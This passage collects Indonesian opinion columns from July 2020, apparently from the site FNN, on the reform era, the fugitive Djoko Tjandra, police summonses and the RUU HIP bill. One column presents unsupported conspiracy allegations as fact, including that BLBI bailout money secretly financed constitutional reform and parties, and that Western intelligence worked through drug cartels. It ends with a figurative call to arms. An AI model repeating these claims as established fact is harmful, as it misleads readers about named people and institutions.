"wajah-wajah" itu culas? Silahkan menjawab sendiri. Namun yang pasti, memberikan amanah pengelolaan negara kepada pemimpin yang culas, sama saja artinya dengan menempatkan rakyat di mulut buaya, mulut singa, atau mulut srigala. Penulis adalah Pemerhati Politik dan Kebangsaan.

Sumber Uangnya Sudah Kering, Negara Reformasi Segera Hilang

by Haris Rusly Moti Jakarta FNN – Rabu (15/07). Tanggal 21 Mei 1998 adalah hari lahirnya sebuah era. Presiden Soeharto menyatakan berhenti setelah berkuasa selama 30-an tahun. Era Orde Baru berakhir. Era reformasi yang berpondasi liberalisme lahir pada hari itu. Namun, saat ini, kita musti kembali bersiap untuk berduka. Negara reformasi itu diperkirakan akan mulai runtuh. Sirna atau wafat di usia muda, 22 tahun. Negara era reformasi akan menyusul nasibnya Sriwijaya dan Majapahit. Dua negara ini pernah hidup dan sirna di atas tanah yang sama, tanah pusaka nusantara. “Sirno ilang kertaning bumi”. Hilang dan lenyap ditelan bumi. Sengkalan itu mengirim pesan kepada kita tentang keadaan ketika itu yang sangat perih dan menyakitkan. Ketika itu ruh Majapahit itu pergi meninggalkan jiwa dan raganya. Emperium besar itu sirna, runtuh atau wafat. Dulunya sistem negara reformasi itu dianggap sebagai panasea, obat mujarab. Diharapkan sistem itu dapat menyembuhkan sejumlah penyakit kronis di era sebelumnya. Kenyataannya, makhluk yang bernama reformasi itu telah bermutasi menjadi virus kanker yang sangat ganas. Kanker itu kini telah menyerang seluruh sendi kehidupan berbangsa dan bernegara. Baik sendi sosial, politik, ekonomi, pertahanan, hingga yang paling mendasar, yaitu moralitas ikut diserang virus kanker ganas reformasi. Di usia yang masih muda, 22 tahun itu, sistem negara era reformasi itu diperkirakan tidak akan mampu bertahan hidup. Akan runtuh, wafat atau sirna ditelan oleh badai sejarah. Keadaan negara era reformasi tersebut dapat kita ibaratkan persis pasien yang sedang koma. Paisen yang lagi dirawat di ruang ICU. Rasanya sangat sulit untuk bisa memastikannya hidup kembali. Medical treatment yang sedang dilakukan, ternyata tidak juga berhasil meringankan penyakit yang sedang diderita. “Gerombolan” penyelenggara negara yang bertindak sebagai dokter, ternyata gagal memahami kondisi yang sedang dihadapi. Mereka lebih mengedepankan pendekatan kekuasaan ketimbang pendekatan kepemimpinan dan keteladanan. Akibatnya, virus kanker ganas itu justru makin ganas menggerogoti tubuh justru setelah dilakukan medical treatment. Kita tidak berpretensi mendahului kehendak Tuhan. Tetapi jika dilihat dari kondisi penyakit yang sedang diderita saat ini, bisa dipastikan nasib negara era reformasi sudah sangat sulit untuk diselamatkan. Kita justru akan menyiksa diri kita sendiri, jika tetap mempertahankan sebuah sistem yang telah menggerogoti jiwa, raga bangsa dan rakyat kita sendiri. Sistem negara reformasi memang sengaja dibuat, tidak dengan tujuan menegakan kedaulatan rakyat. Kita memperjuangkan kemerdekaan berpendapat dan berserikat. Tujuannya, agar rakyat berdaulat secara politik dan ekonomi. Dulu para pendiri bangasa memperjuangkan kemerdekaan Indonesia 1945, agar rakyat dapat berdaulat secara politik di negeri sendiri. Dengan demikian diharapkan kehidupan ekonomi rakyat bisa tumbuh mandiri tanpa penjajahan. Namun, kenyataannya kebebasan di era reformasi justru dibajak oleh oligarki jahat dan licik, untuk menjarah ekonomi nasional. Mereka membajak kehendak murni rakyat dan mahasiswa untuk mengubah nasibnya menjadi lebih baik. Segelintir oligarki politik dan kartel ekonomi taipan-saudagar licik dan jahat itu, juga telah membajak institusi negara era reformasi. Mereka sebetulnya pelaku makar yang sesungguhnya. Sayangnya sepak terjang dan prilaku mereka, justru dipelihara oleh Negara. Dilindungi oleh yang sedang berkuasa. Sumber Kapital Kering Sindikat perampok BLBI dan kartel yang menjarah Sumber Daya Alam (SDA). Mereka adalah penopang utama rezim reformasi. Sindikat BLBI dan kartel SDA adalah kekuatan kapital atau sumber utama bahan bakar yang menggerakan mesin reformasi selama 22 tahun silam. Sindikat BLBI tersebut adalah pelaku makar, karena telah membobol duit di Bank Sentral. Dari sumber dana yang dijarah melalui skema BLBI dan KLBI itu, kemudian dibuat sejumlah skema untuk pembiayaan amandemen UUD 1945. Seakan-akan sumber pembiayaan agenda reformasi itu berasal dari lambaga donor asing. Padahal jika ditelusuri, dana-dana itu sebetulnya milik rakyat Indonesia juga yang mereka rampok, dengan cara membobol Bank Indonesia dalam skema BLBI dan KLBI. Anggaran untuk reformasi politik, hukum dan birokrasi yang katanya dari lembaga donor asing itu hanya bohong. Sumber dana sebetulnya dari uang perampokan BLBI-KLBI. Demikian juga anggaran untuk membiayai pembentukan sejumlah LSM dan Parpol yang menjamur di era reformasi, sebetulnya juga bersumber dari duit yang dibobol di Bank Indonesia melalui skema BLBI dan KLBI. Sebagai pembandingnya, di sejumlah negara Amerika Latin, sumber bahan bakar yang menggerakan mesin perubahan politik ke arah liberalisasi dan demokratisasi di sana berasal dari kartel narkoba. Operasi intelijen barat terlebih dahulu membentuk kantong logistik untuk membiayai operasi tersebut. Diantara kantong logistik itu, mereka bekerjasama dengan kartel narkoba. Dari uang perdagangan narkoba itu dipakai sebagai dana untuk melakukan operasi liberalisasi di negara-negara Amerika Latin. Sejatinya demokrasi itu dibentuk oleh rezim kapitalisme yang menuntut persamaan politik dan kesetaraan di depan hukum. Sejarahnya memang seperti itu, demokrasi itu sebetulnya lahir dari kandungan kaum kapitalis untuk menutut kesamaan hak dan derajat sosial dengan kaum feodal. Karena itu, di negeri barat, sumber kapital atau bahan bakar yang menggerakan mesin demokratisasi dan liberalisasi itu berasal dari kekuatan kapitalis industri. Berbeda dengan di Indonesia dan Amerika Latin, yang berlangsung demokratisasi tanpa industrialisasi. Karena itu, ketika negara barat memaksakan projek liberalisasi dan demokratisasi, mereka terlebih dahulu menciptakan sumber kapital sebagai bahan bakarnya untuk menggerakan liberalisasi dan demokratisasi. “Tidak mungking sebuah operasi intelijen untuk menguasai atau menghancurkan sebuah negara tertentu menggunakan APBN”. Demikian juga, biaya operasi intelijen atau militer untuk menghancurkan sejumlah negara di Timur Tengah misalnya, sebetulnya bersumber dari uang minyak yang berasal dari Timur Tengah sendiri. Demikian juga dengan di negeri kita, Indonesia. Tidak ada industrialisasi di sini. Maka sumber kapital untuk menggerakan liberalisasi dan demokratisasi itu diciptakan dari kekuatan oligarki jahat dan licik. Mereka itulah para sindikat BLBI-KLBI dan kartel SDA. Kalau di Amerika Latin, sumber kapitalnya berasal dari kartel narkoba, kartel SDA dan kartel jahat lainnya. Sementara di Indonesia, sekian tahun lama sindikat BLBI dan kartel SDA dijadikan kaki tangan barat dalam menjarah ekonomi nasional dan mengendalikan institusi negara. Dari dalam kandungan sindikat BLBI-KLBI dan kartel SDA tersebut, dilahirkan oligarki politik dinasti yang memegang kendali politik negara hingga saat ini. Kartel jahat itu membajak negara melalui mengendalikan pemimpin Partai Politik dan pemimpin negara. Hampir pada seluruh institusi Negara. Mulai dari pusat hingga daerah. Dari Presiden dan Ketua DPR-RI hingga Bupati, mereka adalah hasil dari peternakan sindikat BLBI-KLBI dan kartel SDA. Dalam sejumlah operasi politik untuk memenangkan pimpinan nasional, pimpinan daerah hingga pimpinan lembaga legislatif dan yudikatif, sering sekali diduga dibantu oleh “sindikat intelijen jahat”. Mereka telah berkhianat dan menyeleweng dari sumpahnya sebagai prajurit perang pimikiran. Kini, sumber kapital yang menggerakan reformasi itu sudah mulai mengering. Bahan bakar reformasi yang bersumber dari sindikat BLBI-KLBI dan kartel SDA itu telah gosong. Matahari baru yaitu kekuatan kapitalis teknologi informasi yang sedang memegang kendali. Menganggap kartel dan sindikat lama BLBI-KLBI dan kartel SDA tersebut sebagai parasit yang harus dimusnahkan. Mereka menghendaki keterbukaan informasi dan penyelesaian terhadap sejumlah kejahatan keuangan nasional dan international. Sistem negara era reformasi akan runtuh atau sirna. disebabkan oleh: Pertama, dana gelap hasil rampokan BLBI-KLBI telah mengering. Para perampoknya kini sedang menghadapi tuntutan pengadilan, baik itu pengadilan nasional maupun international. Kedua, jatuhnya harga komoditas di pasar international. Ketiga, kejahatan money laundry sedang menghadapi ancaman secara international. Dengan demikian sumber dana oligarki politik dinasti dipastikan juga akan kering. Bahan bakar yang menggerakan sistem reformasi juga makin mengering. Sistem negara era reformasi yang telah bermutasi menjadi virus kanker jahat itu sudah waktunya memang harus sirna atau runtuh. Semoga Tuhan Yang Maha Berkuasa mempercepat takdirnya untuk “wafat”. Semoga kita dapat mengembalikan cita-cita dibentuknya negara oleh para pendiri bangsa pada tahun 1945. Semoga rakyat kembali berdaulat di negeri sendiri. Semoga kemerdekaan berpendapat yang dijamin oleh konstitusi dapat menempatkan kembali rakyat menjadi pemilik atas sumber daya alam dan kekayaan negara. Semoga konstitusi (UUD 1945) kembali menjadi landasan dan pedoman dalam penyelenggaraan negara. Semoga tidak akan lahir lagi pemimpin negara yang menjadi boneka asing dan parasit dari oligarki konglomerat jahat, licik dan culas. “Angkat senjatamu wahai Arjuna. Majulah berperang. Jalankan tugas kewajibanmu tanpa keraguan di hati”. Tulisan ini pernah dimuat di RMOL.Co.id edisi 20 Mei 2019. Penulis adalah Aktivis Mahasiswa 1998 Yogyakarta dan Pemrakarsa Intelligence Finance Community (InFINITY)

Ayo Tebak, Tuan Besar Djoko Tjandra Pakai Sogok atau Tidak?

by Asyari Usman Jakarta FNN – Rabu (15/07). Djoko Tjandra memang hebat. Dia dalam status sebagai buronan ‘most wanted’ (paling dicari). Namun semua instansi yang diperlukannya memberikan “bantuan penuh”. Semuanya “memfasilitasi” keinginan Tuan Besar Djoko. Semuanya lancar jaya. Sangat huebat dan luar biasa. Berbagai bantuan yang ‘generous’ itu antara lain adalah masuk ke Indonesia tanpa ada hambatan di Imigrasi. Kemudian mengurus e-KTP sampai terbit dalam waktu satu jam lima belas menit di Kantor Lurah Grogol Selatan, Jakarta Barat. Terus, dia pergi ke Pengadilan Negeri Jakarta Selatan untuk memasukkan gugatan PK (Peninjauan Kembali) atas putusan yang dia rasakan merugikan dirinya. Setelah itu, Tuan Besar Djoko mengikuti sidang pengajuan novum di Pengeadilan Negeri Jakarta Selatan. Beberapa hari selesai persidangan novum di pengadilan, Tuan Besar Djoko melakukan perjalanan ke Pontianak. Giliran Bareskrim Polri yang keluarkan surat perjalanan kepada Tuan Besar Djoko. Selesai semua urusan di Indonesia yang super cepat, karena difasilitasi oleh semua lembaga degara yang dibutuhkannya, Tuan Besar Djoko terbang kembali ke luar negeri tanpa terdeteksi. Dia kembali melanjutkan status buronannya. Tidak ada satupun instansi keamanan yang bisa mendeteksi si terpidana ini menghilang tinggalkan Indonesia. Imigrasi mengaku tidak tahu atau tidak kenal dengan Djoko Tjandra. Polisi bagai kena sihir tingkat tinggi. Kejaksaan juga seperti tak lagi berfungsi. Semua instansi penegak hukum ini bagaikan terlena, terhipnotis dan tersihir oleh “hiburan yang mengasyikkan” dari Tuan Besar Djoko. Djoko diburu oleh penegak hukum dengan kasus hak tagih (cessie) Bank Bali dengan kerugian negara 940 miliar rupiah. Dia menjadi buronan sejak 2009. Melarikan diri ke luar negeri. Pada 2012, Djoko Tjandra diketahui memiliki paspor Papua Nugini. Artinya sejak 2012 itu, Tuan Besar Djoko sudah menjadi warga Negara Papua Nigini. Menko Polhukam Mahfud MD kabarnya marah sekali. Dia mengatakan, negara sangat malu dipermainkan oleh Djoko Tajndra. Mahfud menyindir Polisi dan Kejaksaan yang tak bisa menangkap buronan ini. Padahal, menurut Mahfud, Polisi dan Kejaksaan adalah dua instansi yang hebat. Kekesalan Pak Mahfud itu bisa dipahami. Mungkin dia merasa instansi-instansi penegak hukum yang gagal menangkap Djoko itu terkesan dikangkangi oleh si buronan. Sekarang, mari kita main tebak-tebakan berhadiah. Tentang perilaku Tuan Besar Djoko. Silakan anda jawab deretan pertanyaan di bawah ini. Mungkinkah Djoko bisa masuk ke Indonesia tanpa sogok? Mungkinkah dia melewati Imigrasi tanpa bisa dikenali? Pihak Imigrasi mengatakan yang bertugas waktu itu adalah pegawai baru. Mungkinkah dia membuat e-KTP di Kantor Lurah Grogol Selatan dalam waktu satu jam lebih sedikit, tanpa uang sogok? Logiskah Pak Lurah tidak menerima apa-apa ketika dia “membantu” pembuatan e-KTP untuk Djoko dalam waktu singkat itu? Mungkinkah Pak Camat setempat juga tak mendapatkan apa-apa? Logiskah para pejabat yang terkait dengan pembuatan e-KTP untuk orang sepenting Djoko Tjandra, membantu si buronan dengan “senang hati” tanpa imbalan besar? Mendagri Tito Karnavian mengatakan di depan rapat dengan DPR bahwa pembuatan e-KTP untuk Tuan Djoko bisa cepat karena memang orientasi petugas di instansi Dukcapil adalah pelayan cepat. Begitu data seseorang ada di Dukcapil, langsung bisa cetak e-KTP. Nah, pertanyaan quiz berikutnya adalah, siapa diantara anda semua yang punya pengalaman membuat e-KTP dalam waktu satu jam lima belas menit? Ayo, atau pernah tahu teman atau tetangga yang bisa dapat e-KTP satu setengah jam? Hehe. Tuan Besar Djoko Tjandra memang mantap. Dia ini, layak, pantas dan bisa dijadikan Dirjen Dukcapil. Atau Mendagri sekalian. Mengapa? Karena dia bisa memerintahkan petugas kelurahan membuat e-KTP super cepat itu. Kembali ke quiz berhadiah. Apakah mungkin para pejabat tinggi yang terkait dengan kedatangan ilegal Djoko, tidak mendapatkan apa-apa? Apalagi mengingat statusnya sebagai buronan kelas satu, mungkinkah semua liku-liku perjalanan Tuan Djoko itu dia lalui secara gratis? Tanpa sogok sana-sini? Pemenang pertama quiz Tuan Besar Djoko Tjandra ini akan mendapatkan beberapa hadiah istimewa. Hadiah pertama, pembuatan e-KTP lima menit, langsung di kantor Mendagri. Hadiah kedua, tiket pesawat untuk berjumpa dengan Tuan Besar Djoko Tjandra di mana pun dia berada. Kemungkinan ada acara ‘morning coffee’ dengan si buronan super huebat dan luar biasa ini. Acara ‘kopi pagi’ ini nantinya sangat istimewa. Karena pemenang akan ditemani oleh Denny Siregar, Abu Janda, dan Ade Armando yang tidak terdengar suaranya mengenani kehebatan Tuan Besar Djoko Thandra selama berada di Indonesia. Diperkirakan akan ada hadiah kejutan dari Tuan Besar Djoko sendiri. Menurut bocoran, hadiah kejutan itu berbentuk kursus kilat tentang cara-cara untuk (maaf sebelumnya ya) “kentuti dan memberaki” mukanya para pejabat Indonesia. Penulis adalah Wartawan Senior

Jalan Dakwah Akan Selalu Diisi Pejuang Tangguh

by Ahmad Khozinudin SH. Catatan Hukum atas Pemanggilan Ustadz Edy Mulyadi, Sekjen Gerakan Nasional Pengawal Fatwa (GNPF) Ulama oleh Polda Metro Jaya. Pemanggilan tersebut, terkait pembakaran bendera yang berlogo PDIP saat demontrasi penolakan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) di depan gedung DPR. Jakarta FNN – (14/07). Beredar viral kabar dan informasi di sosial media, bahwa pada hari Rabu, tanggal 15 Juli 2020 Ustadz Edy Mulyadi, Sekjen GNPF Ulama dipanggil penyidik Polda Metro Jaya. Ihwal pemanggilan, adalah sebagai saksi dalam kasus pembakaran bendera berlogo PDIP. Secara prosedur, panggilan ini adalah hal biasa. Namun, secara substansi suka atau tidak, panggilan ini perlu disikapi secara politis. Mengapa demikian? Mengingat konsepsi negara hukum yang kita anut dan bangga-banggakan di negeri ini, telah bergeser menjadi negara kekuasaan. Iya, kita semua sedih melihat kondisi penegakan hukum di negeri ini. Aparat penegak hukum sebagai alat negara untuk menegakkan hukum, sudah bergeser menjadi alat kekuasaan. Anggapan negara hukum cuma sarana untuk melegitimasi kepentingan kekuasaan dalam penegakkan hukum. Parameternya sederhana. Jika wibawa presiden atau pejebat negara lainnya yang dicela, aparat begitu sigap untuk memproses hukum. Bahkan, diantaranya tanpa pemeriksaan pendahuluan, langsung ditangkap dulu baru diperiksa. Palnggaran hkum oleh aparat sudah menjadi pemandangan yang biasa untuk ditonton. Kasus Ali Baharsyah adalah contoh kongkritnya. Ali dianggap menghina presiden Jokowi karena mengunggah video Presiden Go Block. Padahal Video tersebut merupakan kritik Ali Terhadap kebijakan PSBB. Bukannya Lockdown. Ali juga mengkriktik rencana kebijakan Darurat Sipil yang memang pernah diwacanakan oleh Jokowi. Di media, Ali Baharsyah diframing sebagai penghina Presiden. Meskipun, pasal penghinaan presiden tidak ada dalam berkas penyidikan. Ali disidik dengan pasal berlapis, namun tak ada satupun pasal penghinaan Presiden terhadapnya. Ali Baharsyah langsung ditangkap. Tanpa ada pemanggilan. Juga tanpa proses pemeriksaan pendahuluan. Saksi juga ikut ditangkap dan diperiksa bersamaan dengan penangkapan Ali Baharsyah. Dan sedihnya lagi, praktik hukum yang seperti ini dilakukan oleh Mabes Polri. Institusi yang semestinya menjadi teladan lembaga kepolisian. Bagaimana jika yang dilaporkan penghina umat Islam ? Dipaastikan hukum apapun yang digunakan, menjadi tumpul. Polisi loyo, dan prosedur menjadi ketat. Sudah terlalu banyak laporan polisi yang dibuat oleh umat Islam. Namun tidak ada proses hokum yang ditinndak lanjuti, kecuali untuk kasus Ahok. Contoh paling terbaru adalah, kasus pelaporan Deny Siregar oleh elemen Umat Islam di Tasikmalaya. Deny Siregar dilaporkan ke polisi, karena menteror para Santri Tahfidz Alqur’an sebagai calon Teroris. Kalau mau menggunakan pasal ITE, Deny Siregar bisa dijerat pasal 28 ayat (2) dan pasal 27 ayat (3) Jo pasal 45 UU ITE. Deny Siregar bisa disidik dengan perkara menebar kebencian dan permusuhan kepada santri berdasarkan SARA. Bisa juga dengan pencemaran wibawa Santri. Ancaman hukumannya 6 tahun penjara, sehingga bisa langsung ditahan. Sampai hari ini, Deny Siregar belum juga diperiksa. Apalagi ditahan sampai ditahan. Pada saat yang sama, Denny marah-marah dan melaporkan kebocoran data Telkomsel. Polisi langsung sigap. Polisi bergerak cepat, dan langsung menangkap pelaku di Surabaya. Terkait perkara yang dijadikan dasar pemanggilan Ustadz Edy Mulyadi oleh Polda Metro Jaya. Kasusnya adalah pembakaran bendera berlogo PDIP. Videonya telah banyak beredar. Foto orang-orang yang diduga sebagai pelaku juga sudah bisa diidentifikasi sejak dini. Kenapa musti yang dipanggil adalah Sekjen GNPF Ulama? Bisa saja ada yang berdalih, karena Ustadz Edy Mulyadi adalah Ketua Panitia atau Korlap aksi demonstrasi menolak RUU HIP yang diduga menghidupkan kembali neo komunisme dan PKI. Yang didalamnya terdapat peristiwa pembakaran atas bendera berlogo PDIP. Hanya saja, apakah pemeriksaan dengan model yang sama terjadi pada pejabat Telkomsel untuk kasus kebocoran data Deny Siregar ? Apakah penyidik melakukan pemeriksaan pada Dirut Telkomsel atau minimal kepala area Jawa Timur dalam penangkapan tersangka? Saya menduga kuat hal ini tidak dilakukan. Kembali pada kasus pembakaran bendera berlogo PDIP. Sehari setelahaksi, Ustadz Edy Mulyadi telah dipanggil dan diperiksa penyidik Polda Metro Jaya seputar aksi ANAK NKRI tolak RUU HIP. Dengan gamblang Ustadz Edy Mulyadi menjelaskan latar belakang, tujuan, jobdes ketua panitia, juga penjelasan terkait pembakaran bendera berlogo PDIP sebagai accident. Bukan insident. Semestinya, dengan kecakapan yang sama Polisi bisa segera menangkap pelaku pembakaran bendera berlogo PDIP. Sebagaimana polisi secepat kilat dapat menangkap pembocor data Deny Siregar atau menangkap Ali Baharsyah. Semestinya Ustadz Edy Mulyadi selaku Sekjen GNPF Ulama tak perlu diperiksa. Karena sebelumnya juga sudah diambil keterangannya. Semestinya, polisi segera memburu pelaku pembakaran bendera berlogo PDIP. Bukan malah sibuk mengorek keterangan dari Ustadz Edy Mulyadi. Apalagi, ada kader PDIP yang telah mengancam polisi. Jika dua hari pelaku tidak ditangkap, maka kader PDIP ini akan mengambil langkah sendiri. Terkait Ust Edy Mulyadi, kita segenap umat Islam wajib memberikan dukungan dan pembelaan. Panggilan saksi kadangkala bisa ditingkatkan menjadi tersangka. Pemanggilan ini, juga harus dimaknai sebagai agenda "kontra kritik" terhadap gerakan penolakan RUU HIP yang makin marak, terutama dari numat Islam. Apalagi menjelang sidang Paripurna DPR RI pada Kamis, 16 Juli mendatang. Saya tidak khawatir pada pribadi Ustadz Edy Mulyadi yang juga Wartawan Senior itu. Sebab beliau adalah orang yang telah mengambil pilihan perjuangan, dan memahami resiko dan konsekuensi perjuangan. Jalan da’wah selalu dilalui oleh pejuang-pejuang yang tangguh. Segala resiko menghadang di depan mata. Pengetahuan saya terhadap beliau, cukup memiliki legitimasi. Karena saya pernah berhari-hari menginap bersama beliau. Keliling diskusi di Jawa Timur dengan beliau. Sehingga, pengetahuan dan pengenalan terhadap beliau telah melampaui syarat sebagaimana ditetapkan oleh Amirul Mukminin Khalifah Umar Bin Khatab Radiyallahu Anhu. Beliau adalah orang yang Allah SWT tetapkan berada di jalan dakwah. Siap untuk menanggung segala konsekuensinya. Beliau juga termasuk orang-orang yang Allah SWT hadirkan untuk menjadi pembela bagi agama Islam. Beliau adalah pejuang Islam yang tangguh. Kita semua wajib berada bersama dengan beliau. Memberikan dukungan dan pembelaan kepada beliau. Sebab beliau memang telah mewakafkan dirinya untuk kepentingan Islam. Sementara kita wajib mewakafkan diri kita. Selain untuk membela Islam juga membela para pejuang Islam. Pemanggilan terhadap beliau, merupakan tindakan yang menyingkap dan menyentuh wibawa perjuangan. Kita sangat pahami bahwa tidak ada tindakan hokum, khususnya yang dialamatkan kepada pengemban dakwah, kecuali terkandung motif politik. Hanya ingin menekan gerakan da’wah dari para pejuang Islam. Kita wajib bersiap-siaga dalam menghadapi dinamika RUU HIP. Sebab pemanggilan kepada Ustadz Edy Mulyadi ini juga tak lepas dari konteks politik, khususnya dinamika RUU HIP. Semoga Allah SWT karuniakan kesabaran dan keikhlasan kepada Ustadz Edy Myulyadi. Semoga tetap Istiqomah berada di jalan perjuangan, membela Islam. Penulis adalah Aktivis, dan Advokat Pejuang

Adil Dong, Tangkap Juga Denny Siregar

by M Rizal Fadillah Jakarta FNN – Selasa (14/07). Pembobol data pribadi Denny Siregar, yang berinisila FFH telah ditangkap oleh Kepolisian di Surabaya. Konon FFH terancam UU ITE dan lainnya. Publik menilai betapa cepatnya Polisi menindaklanjuti laporan Denny Siregar. Dan sangat luar biasa sikap sigap menangkap pelaku. Berbeda dengan respon laporan masyarakat Tasikmalaya atas perbuatan Denny Siregar, yang juga dinilai melanggar UU ITE. Bahkan bila serius, bisa-bisa Denny Siregar terkena pasal penodaan agama. Denny menyebut kalau Santri Tahfidz Qur'an sebagai "calon teroris". Masyarakat muslim Tasikmalaya marah berat. Mereka melaporkan Denny Siregar ke Polisi. Kasus Tasikmalaya tidak secepat dan sesigap penangkapan pembobol data pribadi Denny. Bahkan sampai sekarang Denny masih berkeliaran dalam marah- marahnya kepada Terlekosel. Malah hendak menuntut Telkomsel segala. Entah kapan Denny bakal diperiksa Polisi? Perbuatan Denny jelas-jelas telah menyinggung perasaan umat Islam. Bukan saja Tasikmalaya. Khususnya lingkungan Pesantren. Tak kurang dari Wakil Gubernur (Wagub) Jawa Barat (Jabar) asal Tasikmalaya pun ikut bersuara. Wagub sangat mengecam, dan meminta Polisi bertindak cepat. Denny lupa hukum dunia saja berbalas "siapa menabur angin, akan menuai badai". Sebelumnya Denny bully anaknya Agus Harimurti Yudhoyono (AHY), Almira Yudhoyono. Sekarang giliran Denny bully anak-anak santri, dengan sebutan sebagai calon teroris. Kini giliran anaknya Denny yang habis dibully oleh warganet. Denny menyatakan gelisah. "Kalau anak-anaknya tidak kuat, bisa gila". Begitulah Denny mengeluh. Semua itu adalah akibat. Jangan salahkan dulu orang lain dulu. Sebaiknya evaluasi bacaan diri dalam pergaulan sosial Jika FFH ditangkap, maka adalah sanagat adil jika Denny Siregar juga ditangkap. Jika FFH ditahan, maka juga wajar secara hukum Denny ditahan. Keduanya sama sama diduga melanggar UU ITE. Jika FFH diproses dengan sangat cepat oleh pihak Kepolisian, maka semestinya Denny diproses tidak kalah cepatnya pula. Inilah kesamaan dan kesetaraan di depan hukum. Pasal 28 D ayat (1) UUD 1945 menyatakan , "Setiap orang berhak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan hukum yang sama di hadapan hukum". Nah hak dan kewajiban Konstitusional seperti inilah yang patut menjadi perhatian semua pihak. Khususnya aparat penegak hukum. Karena bila terjadi diskriminasi dalam penegakkan hokum, maka bukan hanya kepercayaan yang akan merosot, akan tetapi kebencian yang akan tumbuh. Membantu membangun masyarakat penuh kebencian (hatred society). Dengan alasan apapun, Denny Siregar mestinya diperlakukan sama, sebagaimana perlakuan terhadap FFH. Bahwa kemudian dalam prosesnya, ada pembuktian yang berbeda pada masing-masingnya, maka itu merupakan suatu keniscayaan hukum. Hanya saja jangan sampai ketidakadilan diperlihatkan dan dipertontonkan dengan telanjang dan mencolok mata. Imej bahwa Denny Siregar dan teman-temannya kebal hukum mesti harus ditepis dengan tindakan nyata dari Polisi. Ditepis dengan perlakuakn yang sama di depan hukum. Sebaiknya, jangan pertontonkan secara telanjang sikap-sikap yang tidak adail kepada masyarakat, khususnya kepada umat Islam. Masyarakat, khususnya umat Islam ada yang berpandangan bahwa jika kasus pelaporan menimpa Denny Siregar, Ade Armando, Abu Janda, atau beberapa figur lainnya, dipastikan proses hukum akan lambat. Bahkan besar kemungkinan bisa menguap ditelan bumi. Untuk itu, mestinya dibuktikan bahwa pandangan tersebut keliru. Kini kasus Denny Siregar dengan tema "santri calon teroris" ada di depan mata Polisi. Aparat tentu tidak akan bermain-main, sebab ini masalah sangat sensitif dalam kacamata keumatan. Perlu langkah konkrit dan tidak diskriminatif. Jika FFH dengan cepat bisa ditangkap, maka seharusnya Denny Siregar tangkap juga bisa ditangkap. Adil kan? Penulis adalah Pemerhati Politik dan Hukum.

Pengakuan Hasto, Petunjuk Tentang Siapa Pengkhianat Pancasila?!

by Mochamad Toha Jakarta FNN - Selasa (14/07). Sekretaris Jenderal DPP PDIP Hasto Kristiyanto sudah mengakui kalau Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) memang diusulkan oleh partainya di DPR RI. Pernyataan Hasto ini menjawab teka-teki soal fraksi pengusul RUU HIP. Melansir Law-justice.co, Senin (29/06/2020 09:04 WIB), selama ini fraksi-fraksi di DPR RI, terutama di Badan Legislasi (Baleg), enggan mengungkap fraksi yang mengusulkan aturan itu. Mereka hanya menyebut RUU HIP adalah inisiatif DPR. Hasto menyebut, pihaknya membuka dialog dengan siapapun mengingat banyaknya polemik dimasyarakat terkait rancangan undang-undang tersebut. Dia memastikan, RUU HIP saat ini masih berupa rancangan, sehingga bisa diubah. “Maka dengan adanya RUU yang kami usulkan, PDI Perjuangan tentu saja membuka dialog. Kami selalu bermusyawarah, PDI Perjuangan bukan partai yang menang-menangan. Dibakar kantornya saja kita menempuh jalur hukum,” katanya. Hasto menyatakan itu dalam webinar berjudul “Jas Merah: Jangan Sekali-kali Meninggalkan Sejarah, Ciptakan Sejarah Positif Bagi Bangsa” dalam Rangka Peringatan Bulan Bung Karno 2020, Minggu 28 Juni 2020 malam. Meski begitu, lanjutnya, selama ini ada pihak-pihak yang menunggangi isu RUU HIP dengan menjadikan PDIP sebagai partai yang ingin merubah Pancasila menjadi Ekasila dan Trisila. “Tidak etis untuk mengatakan bahwa trisila atau ekasila bukan usulan dari PDI Perjuangan. Tetapi kita melihat bahwa itu dulu adalah suatu gagasan otentik dari Bung Karno,” ujarnya. Kata dia, gagasan Ekasila dan Trisila muncul saat Ketua BPUPKI Radjiman Wedyoningrat meminta Bung Karno untuk menyampaikan gagasannya terkait dengan rencana dasar negara Indonesia. Kemudian, Bung Karno mengajukan tiga alternatif, yaitu, pancasila, trisila atau ekasila yang merupakan intisari kepribadian bangsa Indonesia yakni gotong-royong. “Tetapi itu adalah suatu perjalanan sejarah kita sebagai bangsa. Untuk itu hendaknya jangan ditunggangi kepentingan politik, karena PDIP, kita yang paling kokoh dalam jalan Pancasila itu. Kita enggak mungkin merubah Pancasila karena itu digali Bung Karno,” terangnya. Menurut Hasto, PDIP setuju agar nomenklatur RUU HIP diubah menjadi RUU Pembinaan Ideologi Pancasila (PIP). Hal ini untuk mengatur dan memperkuat Badan Pembinaan Ideologi Pancasila (BPIP). “Terkait dengan RUU HIP, PDIP setuju untuk dirubah menjadi RUU Pembinaan Ideologi Pancasila. Mengapa? yang namanya pramuka saja ada UU-nya, arsip nasional ada UU, BNN ada UU. Masa kita tidak jaga ideologi yang otentik digali dari bumi Indonesia,” tegasnya. Belakangan ini, RUU HIP menjadi polemik sejak beberapa hari terakhir. Ada beberapa poin yang dipersoalkan sejumlah pihak. Pertama, TAP MPRS No. XXV tahun 1966 tentang Pelarangan Partai Komunis Indonesia dan Ajaran Komunisme, Marxisme, Leninisme tak dijadikan peraturan konsideran. Sejumlah fraksi partai politik menilai TAP MPRS itu perlu dimasukkan dalam bagian menimbang. Kedua, ada pasal dalam RUU HIP yang mengatur tentang Trisila dan Ekasila. Sebagian pihak merasa Pancasila dikerdilkan, sehingga menolak keberadaan pasal tersebut. Kelompok yang menolak RUU HIP itu sempat berunjuk rasa di depan Gedung DPR, Jakarta pada Rabu (24/6/2020). Mereka mendesak untuk ungkap siapa yang mengusulkan rancangan yang dianggap bermasalah tersebut. Sebelum adanya pernyataan Hasto, selama ini fraksi-fraksi di DPR RI, terutama di Badan Legislasi (Baleg), enggan mengungkap fraksi yang mengusulkan aturan itu. Mereka hanya menyebut RUU HIP adalah inisiatif DPR. Anggota Panitia Kerja RUU HIP dari Fraksi Partai Demokrat Herman Khaeron sebelumnya juga sempat menyebut Fraksi PDIP di DPR RI sebagai inisiator rancangan perundangan itu. Sejauh ini, pemerintah juga meminta pembahasan RUU HIP usulan DPR agar ditunda. Namun, kelompok penolak menyatakan, pembahasan RUU HIP itu harus dihentikan, tidak perlu ada penundaan, apapun alasannya! Tapi, ternyata masih ada pihak tertentu yang tetap ingin melanjutkan 